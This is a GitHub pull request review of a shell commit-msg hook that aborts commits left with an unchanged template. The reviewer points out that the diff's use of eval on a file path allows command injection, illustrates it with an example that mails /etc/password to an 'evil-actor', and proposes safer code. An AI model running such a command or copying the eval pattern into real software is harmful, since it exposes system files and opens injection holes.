Update branch-name commit-msg hook, so when you use a commit template, and quit without changing it, the commit is aborted #6
Conversation
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<full summary> Issue: <url or "none"> Test plan: <see below>
<full summary> Issue: <url or "none"> Test plan: <see below>
<full summary> Issue: <url or "none"> Test plan: <see below>
<full summary> Issue: <url or "none"> Test plan: <see below>
<full summary> Issue: <url or "none"> Test plan: <see below>
<full summary> Issue: <url or "none"> Test plan: <see below>
…, the commit is aborted, even with the branch-name commit-msg hook
lillialexis
changed the title
csilvers
reviewed
Aug 1, 2024
csilvers
reviewed
Aug 1, 2024
Comment on lines
+25
to
+26
| # Expand the commit template path | ||
| COMMIT_TEMPLATE_PATH=$(eval echo "$COMMIT_TEMPLATE_PATH") |
There was a problem hiding this comment.
eval always sets off alarm bells from a security perspective. Like what if COMMIT_TEMPLATE_PATH is something like "cat /etc/password | sendmail evil-actor"?
I think you don't need it. Just replace the below with:
COMMIT_TEMPLATE=$(cat "$COMMIT_TEMPLATE_PATH" 2>/dev/null)
if [ -z "$COMMIT_TEMPLATE" ]; then
echo "Commit template not founda at $COMMIT_TEMPLATE_PATH, or is empty"
exit 1
fi
| fi | ||
|
|
||
| # Filter out comment lines and empty lines from the commit template | ||
| COMMIT_TEMPLATE=$(echo "$COMMIT_TEMPLATE" | grep -v '^#' | sed '/^[[:space:]]*$/d') |
There was a problem hiding this comment.
You can do this when reading; at line 30 do:
COMMIT_TEMPLATE=$(cat "$COMMIT_TEMPLATE_PATH" | grep -v '^#' | sed '/^[[:space:]]*$/d')
Dunno if you wanted to or not.
Comment on lines
+39
to
+44
| # Check if the commit message matches the commit template | ||
| if [ "$COMMIT_MSG" = "$COMMIT_TEMPLATE" ]; then | ||
| echo "Aborting commit due to default commit message." | ||
| exit 1 | ||
| fi | ||
| fi |
There was a problem hiding this comment.
Another thing githook.py does, which I think is useful, is:
if [ -z "$COMMIT_MSG" ]; then
echo "Aborting commit due to empty commit message."
exit 1
fi
I do this sometimes when I'm creating a commit message and want to give up in the middle.
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
Summary:
See this comment here: #4 (review)
Issue: FEI-3822
Test plan:
commit-msg.branch-namehook enabledgit commit -a